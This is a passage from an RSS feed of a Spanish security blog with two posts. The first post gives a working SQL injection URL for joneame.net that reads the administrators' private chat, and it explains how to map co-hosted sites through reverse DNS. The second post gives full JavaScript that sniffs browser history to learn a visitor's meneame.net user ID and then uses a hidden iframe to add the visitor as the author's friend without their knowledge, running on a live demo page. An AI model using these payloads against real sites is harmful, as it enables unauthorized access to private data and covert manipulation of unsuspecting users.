<p>El agujero está en backend/ezbatu_mezua.php, aquí:</p>
<blockquote><p>$id = $_REQUEST['mid'];<br />
$nondik = $_REQUEST['mota'];</p>
<p>$mezua = new Mezu;<br />
$mezua-&gt;id = $current_user-&gt;user_id;<br />
$mezua-&gt;jaso_mezua($id, $nondik);</p></blockquote>
<p>Este fichero lee un mensaje privado dado su id, (el parámetro &#8216;mid&#8217;), sin embargo, el valor recogido vía GET, es pasado a jaso_mezua, sin sanear, y en esa función, se hace:</p>
<blockquote><p>function jaso_mezua($zein, $nondik) {<br />
global $db;</p>
<p>if ($nondik == &#8216;inbox&#8217;)<br />
$mezu = $db-&gt;get_row(&#8220;SELECT * FROM mezuak WHERE nori=&#8221;.$this-&gt;id.&#8221; AND id=&#8221;.$zein.&#8221; LIMIT 1&#8243;);</p></blockquote>
<p>Siendo $zein el parametro &#8216;mid&#8217; que entró por la URL, sin sanear.</p>
<p>Por lo cual, explotar el bug es tan fácil como enviarnos un mensaje privado desde cualquier usuario, ir a la sección mensajes privados, y hacer click en el mensaje privado recibido, entonces, veremos un enlace tal como:</p>
<blockquote><p>http://joneame.net/backend/mezuak_ikusi.php?id=<strong>ID_DE_TU_USUARIO_AQUI</strong>&amp;md5=<strong>CLAVE_DE_CONTROL_AQUI</strong>&amp;mid=<strong>NUMERO_DE_MENSAJE_AQUI</strong>&amp;mota=inbox</p></blockquote>
<p>Entonces, basta con agregar sentencias sql a continuación del número de mensaje, por ejemplo, así:</p>
<blockquote><p><a>http://joneame.net/backend/</a><a>mezuak_ikusi.php?id=<strong>ID_DE_TU_USUARIO_AQUI</strong>&amp;md5=</a><strong><a>CLAVE_DE_CONTROL_AQUI</a></strong><a>&amp;mid=-99%20union%20select%</a><a>20chat_uid,2,chat_uid,4,chat_</a><a>text,6,7%20from%20chats%</a><a>20where%20chat_room%20=%20%</a><a>27admin%27%20and%20chat_uid%</a><a>20!=%2041%20and%20chat_uid%20!</a><a>=%20213%20and%20chat_uid%20!=%</a><a>2034&amp;mota=outbox&amp;eg=0</a></p></blockquote>
<p>Eso serviría para leer la fisgona de administradores que tienen en joneame, sin necesidad de ser administrador.</p>
<p>Además de este bug, otro problema que tiene joneame, es que está instalado en un servidor compartido, por lo que si encontrasen una vulnerabilidad en una web que se hospeado a su lado, podrían espiar tu privacidad en joneame (datos privados de tu cuenta, etc).</p>
<p>Un atacante puede determinar que sites se hospedan junto a joneame, haciendo una petición de dns inversa, sabiendo que la ip de joneame .net es: 87.98.228.106</p>
<p>Utilizando un servicio público de dns inverso:</p>
<blockquote><p><a href="http://whois.webhosting.info/87.98.228.106">http://whois.webhosting.info/87.98.228.106</a></p></blockquote>
<p>Vemos las páginas hospedadas junto a joneame, que ser comprometidas, lo sería también joneame.</p>
<p>Lo que quiero decir con este post, es que la gente sin conocimientos técnicos, puede verse tentado por joneame, o servicios similares, pero siempre es recomendable utilizar servicios profesionales, que estén en su propio servidor, y que su código esté medianamente controlado y revisado.</p>
<p>Algunos de estos problemas de seguridad ya han sido notificados al dueño de joneame, con quien he hablado vía mail. y me ha confirmado que está al tanto de los problemas de seguridad, otros problemas de seguridad, como lo del hosting compartido son inherentes de la infraestructura de joneame, y no pueden ser solventados, desgraciadamente.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rooibo.com/2009/04/30/si-aprecias-tu-privacidad-no-utilices-joneame/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Scripts para autoamigar en menéame</title>
		<link>http://www.rooibo.com/2009/04/28/scripts-para-autoamigar-en-meneame/</link>
		<comments>http://www.rooibo.com/2009/04/28/scripts-para-autoamigar-en-meneame/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 18:14:31 +0000</pubDate>
		<dc:creator>jcarlosn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://rooibo.wordpress.com/?p=204</guid>
		<description><![CDATA[Para los que no lo sepan, meneame es una web de noticias, donde la gente envía y vota noticias, y las mas votadas pasan a portada.
Además, meneame permite que los usuarios hablen entre ellos, se escriban comentarios, y marquen a sus mas allegados, como &#8220;amigos&#8221;. Marcar como amigo en el meneame, significa que esa persona [...]]]></description>
			<content:encoded><![CDATA[<p>Para los que no lo sepan, <a href="http://meneame.net">meneame</a> es una web de noticias, donde la gente envía y vota noticias, y las mas votadas pasan a portada.</p>
<p>Además, meneame permite que los usuarios hablen entre ellos, se escriban comentarios, y marquen a sus mas allegados, como &#8220;amigos&#8221;. Marcar como amigo en el meneame, significa que esa persona leerá lo que escribas en la fisgona (el chat de meneame), aún y cuando lo que escribas, lo marques para ser leído solo por tus amigos.</p>
<p>De esta forma, mucha gente sabe que marcando solo a sus amigos, puede mantener conversaciones relativamente privadas dentro de la fisgona (el chat global de meneame) aún y cuando cualquiera puede ver la fisgona.</p>
<p>Para hacer que alguien sea tu amigo, basta con visitar una URL tal como:</p>
<blockquote><p>http://meneame.net/backend/get_friend.php?id=ID_DE_USUARIO_DE_OTRO&amp;p=0&amp;type=TU_ID_DE_USUARIO</p></blockquote>
<p>Y de hecho, esa es la dirección que se visita, cuando haces clic en el corazoncito de alguien, para hacerlo tu amigo en meneame.</p>
<p>El hecho de que necesites pasar tu id de usuario, pese a que ya estás autenticado en meneame, se hace para evitar que alguien te redirija a una URL como esa, produciendo que agregues a gente como amiga en el meneame, solo por entrar a un web de terceros.</p>
<p>Este tipo de ataques se conocen como <a href="http://en.wikipedia.org/wiki/Csrf">CSRF</a>.</p>
<p>Por ejemplo, si mi id es 31337, yo podría redigir a mis visitantes a:</p>
<blockquote><p>http://meneame.net/backend/get_friend.php?id=31337&amp;p=0&amp;type=TU_ID_DE_USUARIO</p></blockquote>
<p>Para que se hagan mis amigos en meneame, nada mas entrar en mi web, sin embargo, no puedo hacerlo, por que yo no se el id de meneame del visitante que entra a mi web.</p>
<p>Sin embargo, esto se puede solventar de forma bastante fácil, como todos sabemos, los navegadores web permiten marcar de un color los links visitados, y de otro los links no visitar (a:visited, a:link en CSS).</p>
<p>Pues bien, podemos usar esa funcionalidad del navegador, para crear links en nuestras web apuntando a otros sitios, y luego comprobar con javascript, de que color son, de esa forma podemos saber si el visitante ha visitado esas web o no.</p>
<p>Pues bien, para descubrir el ID de meneame de nuestro visitante, basta con saber que en meneame todo usuario tiene disponible un RSS con sus conversaciones, ese RSS es una url tal como:</p>
<blockquote><p>http://meneame.net/comments_rss2.php?answers_id=ID_DEL_USUARIO</p></blockquote>
<p>Entonces, sabiendo que en meneame hay menos de 120.000 usuarios registrados (creo, tampoco es importante, es un experimento esto), podemos crear un bucle, que vía javascript genere enlaces hacia:</p>
<blockquote><p>http://meneame.net/comments_rss2.php?answers_id=<strong>X</strong></p></blockquote>
<p>Empezando por X = 0, y terminado por X = 120.000, si tenemos suerte y el usuario utiliza el RSS de sus conversaciones, en una vuelta del bucle, uno de los links, estará de distinto color, ya que la URL habrá sido visitada por el usuario con anterioridad, y con eso, tendremos su ID en meneame.</p>
<p>Una vez con eso, podemos generar un iframe para visitar una url tipo:</p>
<blockquote><p>http://meneame.net/backend/get_friend.php?id=<strong>31337</strong>&amp;p=0&amp;type=<strong>X</strong></p></blockquote>
<p>Siendo X el ID que hemos obtenido con la técnica de arriba.</p>
<p>Ahora el visitante, ya es amigo nuestro en meneame, sin que el vea nada <img src='http://www.rooibo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Como se puede observar, es una mala idea utilizar el id de usuario como medida anti CSRF, tal y como se hace en algunos sitios en meneame, hay que tener en cuenta que esto se puede utilizar de forma mas malevola, para auto-votar tus comentarios con cada visitante que entre a tu web, por ejemplo, ya que los votos a comentarios se hacen también con el ID como medida para evitar el CSRF.</p>
<p>Si queréis ver una prueba real utilizando esto, he montado una web:</p>
<blockquote><p><a href="http://eyeideas.es/entorno.html">demo</a></p></blockquote>
<p>Que al visitarla te hace amigo mio en meneame automáticamente, el código es algo así:</p>
<blockquote><p>function checkUrls(start) {<br />
var url = &#8220;http://meneame.net/comments_rss2.php?conversation_id=&#8221;;<br />
var obj = document.createElement(&#8216;a&#8217;);<br />
obj.setAttribute(&#8216;href&#8217;,url);<br />
document.getElementById(&#8216;area&#8217;).appendChild(obj);<br />
for(i=start;i&lt;start+1000;i++) {<br />
obj.setAttribute(&#8216;href&#8217;,url+i);<br />
var cmstyle = document.defaultView.getComputedStyle(obj,null);<br />
if(cmstyle) {<br />
if(cmstyle.color == &#8216;rgb(0, 0, 0)&#8217;) {<br />
var frame = document.createElement(&#8216;iframe&#8217;);<br />
frame.setAttribute(&#8217;src&#8217;,'http://meneame.net/backend/get_friend.php?id=23321&amp;p=0&amp;type=&#8217;+i);<br />
frame.style.width = &#8216;1px&#8217;;<br />
frame.style.height = &#8216;1px&#8217;;<br />
frame.style.border = &#8216;0px solid black&#8217;;<br />
document.getElementById(&#8216;area2&#8242;).appendChild(frame);<br />
i = 120001<br />
}<br />
} else {<br />
var color = obj.currentStyle.color;<br />
if(color == &#8216;#000000&#8242;) {<br />
var frame = document.createElement(&#8216;iframe&#8217;);<br />
frame.setAttribute(&#8217;src&#8217;,'http://meneame.net/backend/get_friend.php?id=23321&amp;p=0&amp;type=&#8217;+i);<br />
frame.style.width = &#8216;1px&#8217;;<br />
frame.style.height = &#8216;1px&#8217;;<br />
frame.style.border = &#8216;0px solid black&#8217;;<br />
document.getElementById(&#8216;area2&#8242;).appendChild(frame);<br />
i = 120001;<br />
}<br />
}<br />
}<br />
if(i &lt; 120001) {<br />
setTimeout(&#8216;checkUrls(&#8216;+i+&#8217;);&#8217;,100);<br />
}<br />
}</p></blockquote>
<p>Pero se ve mejor entrando a la demo, y dandole a ver código fuente.</p>
<p><strong>Nota importante</strong>: esto no tiene una efectividad del 100%, ya que puede que el usuario no visite su RSS de conversaciones, o visite el RSS de conversaciones de otro usuario.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rooibo.com/2009/04/28/scripts-para-autoamigar-en-meneame/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>

